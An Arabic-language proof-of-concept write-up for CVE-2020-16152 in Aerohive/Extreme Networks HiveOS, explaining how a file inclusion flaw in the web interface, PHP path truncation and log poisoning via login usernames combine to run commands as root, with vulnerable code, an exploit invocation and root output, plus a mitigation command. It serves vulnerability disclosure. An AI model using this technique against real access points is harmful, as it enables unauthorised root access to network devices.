
إثبات مفهوم لاستغلال CVE-2020-16152: تحويل LFI إلى RCE في Aerohive/Extreme Networks HiveOS عبر اقتطاع سلاسل PHP وتسميم السجلات، مما يتيح الوصول بصلاحيات الجذر على نقاط الوصول المعرضة للخطر.
| إصدار المنتج | تم اختباره على 10.0r8a build-242466 والإصدارات الأقدم |
واجهة الإدارة على الويب لنظام HiveOS من Aerohive/Extreme Networks (NetConfig) معرضة لثغرة LFI لأنها تستخدم إصدارًا قديمًا من PHP قابلًا لهجمات اقتطاع السلاسل. يمكن للمهاجم استخدام هذا مع تسميم السجلات للحصول على صلاحيات root على نقطة وصول ضعيفة.
كإجراء بديل، يمكن تعطيل واجهة الويب باستخدام الأمر التالي: no system web-server hive-UI enable للحماية من هذه الثغرة.
يتم استخدام المتغير _page المستخدم في الاستدعاءات إلى action/AhBaseAction.class.php5 كما هو مشار إليه بواسطة الرابط /action.php5 لتحميل فئة PHP ديناميكيًا تُستخدم لصفحة كما نرى في مقتطف الكود أدناه ($pageName مأخوذ من $_POST['_page']):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
كما نرى، لا توجد بادئة لاسم الملف هذا، مما يجعل من الممكن اجتياز المسار إلى ملفات عشوائية. ومع ذلك، نظرًا لأن لدينا لاحقة، فمن غير الممكن تضمين أي ملف فقط. وبما أن إصدار PHP على نقطة الوصول قديم جدًا، يمكننا بالفعل التحايل على ذلك (مزيد من المعلومات):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
من خلال ملء المسار بعدد كافٍ من أحرف / يمكننا ضمان اقتطاع اللاحقة Access.class.php5 تمامًا وتصبح لدينا حرية تضمين ملفات عشوائية.
نظرًا لأن محاولات تسجيل الدخول الفاشلة تُسجل في /tmp/messages وتتضمن اسم المستخدم المُرسل، يمكننا استخدام صفحة تسجيل الدخول لتسميم /tmp/messages ثم تشغيل كود منها باستخدام هجوم LFI المذكور أعلاه.
على الرغم من أن خادم الويب نفسه يعمل بمستخدم بصلاحيات منخفضة، فإن مثيل php-cgi المستخدم من قبل hiawatha يعمل بالفعل كـ root مما يعني أن كل كود PHP يُنفذ بصلاحيات root:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)